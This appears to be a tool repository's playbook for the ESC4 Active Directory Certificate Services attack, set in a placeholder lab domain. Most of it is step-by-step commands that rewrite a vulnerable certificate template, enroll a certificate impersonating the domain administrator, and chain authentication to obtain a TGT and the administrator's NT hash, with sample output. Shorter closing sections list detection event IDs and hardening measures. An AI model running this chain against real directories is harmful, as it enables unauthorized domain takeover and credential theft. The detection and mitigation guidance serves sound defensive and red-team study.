Repository navigation
Playbook ESC4
ESC4 abuses an over-permissive DACL on a certificate template object. Any principal with WriteProperty on the template can flip two attributes (msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag) to turn the template into an ESC1 (enrollee-supplied SAN with Client Authentication EKU). The resulting ESC1 lets the attacker enroll under any UPN — including administrator@<domain>.
This playbook assumes the only exposed Microsoft ports from the attacker's Linux host are tcp/9389 (ADWS) on the DC and tcp/443 (HTTPS) on the CA host.
| Field | Value |
|---|---|
| Domain | corp.local |
| DC |
dc01.corp.local / 10.0.0.10
|
| CA short name | corp-CA |
| Attacker identity | alice@corp.local |
| Attacker credential | Password123! |
| Vulnerable template |
VulnTpl (writeable by alice) |
| Target | administrator@corp.local |
Enumerate templates and confirm VulnTpl is flagged as ESC4:
soaphound --cert-find \
-u alice -p 'Password123!' \
-d corp.local \
-dc dc01.corp.local -dc-ip 10.0.0.10 \
--output-dir /tmp/esc4Look up VulnTpl in /tmp/esc4/*_cert_find.txt and confirm the finding line reports ESC4: alice@CORP.LOCAL has WriteProperty on template.
The ESC4-to-ESC1 flip is a single writeProperty on the template object. Soaphound.py does not ship an attribute writer today; the step currently rides SOAPy's --set-attribute primitive, which uses the same ADWS transport Soaphound.py uses for reads.
SOAPy -u alice -p 'Password123!' -d corp.local \
--dc dc01.corp.local \
--set-attribute 'CN=VulnTpl,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local' \
msPKI-Certificate-Name-Flag '0x1'Setting the ENROLLEE_SUPPLIES_SUBJECT bit (0x1) is the ESC4-to-ESC1 pivot. The companion attribute msPKI-Enrollment-Flag may need 0x0 depending on prior values — reconcile against the --cert-find output.
soaphound --list-policies-ws \
-u alice -p 'Password123!' \
-d corp.local \
-dc dc01.corp.local -dc-ip 10.0.0.10 \
--ca corp-CA --insecure-sslNote the CES URL for corp-CA (typically https://dc01.corp.local/corp-CA_CES_Kerberos/service.svc/CES) and the exact case of VulnTpl as returned by MS-XCEP.
soaphound --enroll-ws \
-u alice -p 'Password123!' \
-d corp.local \
-dc dc01.corp.local -dc-ip 10.0.0.10 \
--ca corp-CA --template VulnTpl \
--upn 'administrator@corp.local' \
--out /tmp/esc4/admin.pfx \
--insecure-sslMS-WSTEP RequestSecurityToken returns a certificate whose SAN carries administrator@corp.local.
With certipy on PATH, Soaphound.py chains the certipy auth step from the same invocation. Both PKINIT and the resulting NT hash are retrieved from the DC with the just-issued certificate:
soaphound --enroll-ws \
-u alice -p 'Password123!' \
-d corp.local \
-dc dc01.corp.local -dc-ip 10.0.0.10 \
--ca corp-CA --template VulnTpl \
--upn 'administrator@corp.local' \
--out /tmp/esc4/admin.pfx \
--auth-dc 10.0.0.10 \
--insecure-sslExpected tail (abbreviated):
[*] Certificate issued and written to /tmp/esc4/admin.pfx
[*] Chaining certipy auth → 10.0.0.10
[certipy] Using principal: administrator@corp.local
[certipy] Trying to get TGT ...
[certipy] Got TGT
[certipy] NT hash for 'administrator': aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Weaponize separately (Step 1), then run the chained one-liner:
soaphound --enroll-ws \
-u alice -p 'Password123!' \
-d corp.local -dc dc01.corp.local -dc-ip 10.0.0.10 \
--ca corp-CA --template VulnTpl \
--upn 'administrator@corp.local' --out /tmp/esc4/admin.pfx \
--auth-dc 10.0.0.10 --insecure-ssl| Event | Where | When |
|---|---|---|
5136/5137
|
DC Security | Step 1 — attribute change on the template object. Requires a per-object SACL on the template plus the "Directory Service Changes" Advanced Audit subcategory. |
5156 |
DC WFP | Every step — ADWS and HTTPS connections, if WFP connection auditing is on. |
4886 |
CA Security | Step 3 — certificate request received. |
4887 |
CA Security | Step 3 — certificate request approved and issued. |
4899 |
CA Security | Step 3 — certificate request handled by the policy module. |
4768 |
DC Security | Step 4 — Kerberos TGT request with pre-auth type 16 (PKINIT). |
The 4768 with Pre-Auth Type 16 is the strongest post-hoc signal of a certificate-based primary logon.
- Audit DACLs on every certificate template;
WritePropertyoutside Enterprise Admins / Domain Admins is almost always a mistake. - Enable per-template SACLs so attribute flips raise
5136. - Enforce EPA on
/certsrv/and route_CES_Kerberosendpoints through gMSA-only identities. - Enforce strong certificate binding (
StrongCertificateBindingEnforcement = 2) so Weak-mapping-based variants of ESC9/ESC10 cannot be chained from the issued cert.
- Certified Pre-Owned (SpecterOps): https://posts.specterops.io/certified-pre-owned-d95910965cd2
- SOAPy —
--set-attributeprimitive: https://github.com/logangoins/SOAPy - Certipy: https://github.com/ly4k/Certipy
- MS-WCCE: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/